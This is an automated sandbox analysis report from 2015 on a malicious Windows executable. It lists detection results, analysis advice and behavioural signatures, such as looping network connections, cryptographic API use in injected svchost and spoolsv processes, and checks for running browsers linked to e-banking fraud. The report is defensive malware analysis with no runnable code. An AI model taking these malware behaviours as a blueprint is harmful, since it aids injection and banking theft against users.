Analysis Report

Overview

General Information

Analysis ID:	10772
Start time:	12:38:36
Start date:	01/10/2015
Overall analysis duration:	0h 2m 46s
Report type:	full
Sample file name:	ad0d7d0903cb059b87892a099fe21d7e.exe
Cookbook file name:	default.jbs
Analysis system description:	XP SP3 Native, physical Machine for testing VM-aware malware (Office 2003 SP3, Acrobat Reader 9.4.0, Flash 11.2, Internet Explorer 8)
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	1
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
HCA enabled:	true
HCA success:	• true, ratio: 94% • Number of executed functions: 154 • Number of non-executed functions: 110
Cookbook Comments:	• Found application associated with file extension: .exe
Warnings:	Show All • Exclude process from analysis (whitelisted): kmixer.sys • Execution Graph export aborted for target ad0d7d0903cb059b87892a099fe21d7e.exe, PID 2196 because it is empty • Execution Graph export aborted for target svchost.exe, PID 952 because it has too many nodes • Report size exceeded maximum capacity and may have missing behavior information. • Report size getting too big, too many NtMapViewOfSection calls found.

- Report size getting too big, too many NtOpenKey calls found.
- Report size getting too big, too many NtQueryValueKey calls found.
- Report size getting too big, too many NtRequestWaitReplyPort calls found.
- Report size getting too big, too many NtSetInformationFile calls found.

Detection

Strategy	Score	Range	Reporting	Detection
Threshold	100	0 - 100	Report FP / FN	MALICIOUS / SUSPICIOUS / CLEAN

Analysis Advice

Sample drops PE files which have not been started, submit dropped PE samples for a secondary analysis to Joe Sandbox
Sample may inject into Firefox, Chrome or IE. Choose the Browser Simulation cookbook for furher analysis
Sample monitors Window changes (e.g. starting applications), analyze the sample with the simulation cookbook
Sample sleeps for a long time, analyze it with the fake sleep cookbook
Sample tries to load a library which is not present or installed on the analysis machine, update the analysis machine or analyze the sample with the missing library cookbook
Uses HTTPS for network communication, use the SSL MITM Proxy cookbook for further analysis

Signature Overview

DDOS:

Contains functionality to access network services in a loop (often DDOS functionality) Show sources

Source: C:\WINDOWS\system32\svchost.exe	Code function: 5_2_00AF1235 WSASocketW,inet_addr,htons,WSAConnect,WSAConnect,Sleep,Sleep,WSAConnect,Sleep,shutdown,closesocket,Sleep,	5_2_00AF1235

Cryptography:

Uses Microsoft's Enhanced Cryptographic Provider Show sources

Source: C:\WINDOWS\PqYCjSmCJimPGIU.exe	Code function: 4_2_00401910 CryptAcquireContextW,VirtualAlloc,	4_2_00401910
Source: C:\WINDOWS\system32\svchost.exe	Code function: 5_2_00AF51DF wsprintfW,CryptAcquireContextW,CryptCreateHash,VirtualAlloc,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptGetHashParam,VirtualFree,CryptDestroyHash,CryptReleaseContext,	5_2_00AF51DF
Source: C:\WINDOWS\system32\spoolsv.exe	Code function: 6_2_00A010B0 wsprintfW,CryptAcquireContextW,CryptCreateHash,VirtualAlloc,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptGetHashParam,VirtualFree,CryptDestroyHash,CryptReleaseContext,	6_2_00A010B0
Source: C:\WINDOWS\system32\spoolsv.exe	Code function: 6_2_00A210B0 wsprintfW,CryptAcquireContextW,CryptCreateHash,VirtualAlloc,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptGetHashParam,VirtualFree,CryptDestroyHash,CryptReleaseContext,	6_2_00A210B0

E-Banking Fraud:

Checks if browser processes are running Show sources

Non-executed Functions

Graph Explanation

Execution Graphs are highly condensed control flow graphs which give the user a synthetic view of the code detected during Hybrid Code Analysis. They include additional runtime information such as the execution status which is highlighted with different colors and shapes.

Entrypoint

Program entry point, most likely the entry point of the PE file.

Key Decision

A code location where a decision has been made to avoid execution of potentially malicious behavior.

Dynamic / Decrypted

Code which has been generated at runtime, often referred to as unpacked or self-modifying code.

Unpacker / Decrypter

Code section which is responsible for unpacking or decrypting a portion of dynamic code.

Executed

Code which has been executed at runtime.

Code which has not been executed at runtime.

Unknown

Code for which it is unknown if it has been executed or not at runtime.

Signature Matched

Code which matches a behavioral signature.

Rich Path

Path through the execution graph which shows a lot of behavior (e.g. with respect to called API functions).

Thread / callback entry

Code corresponding to a thread or callback entry point.

Thread / callback creation

Edges denoting either a thread creation (e.g. using CreateThread) or a callback registration (e.g. EnumWindows).
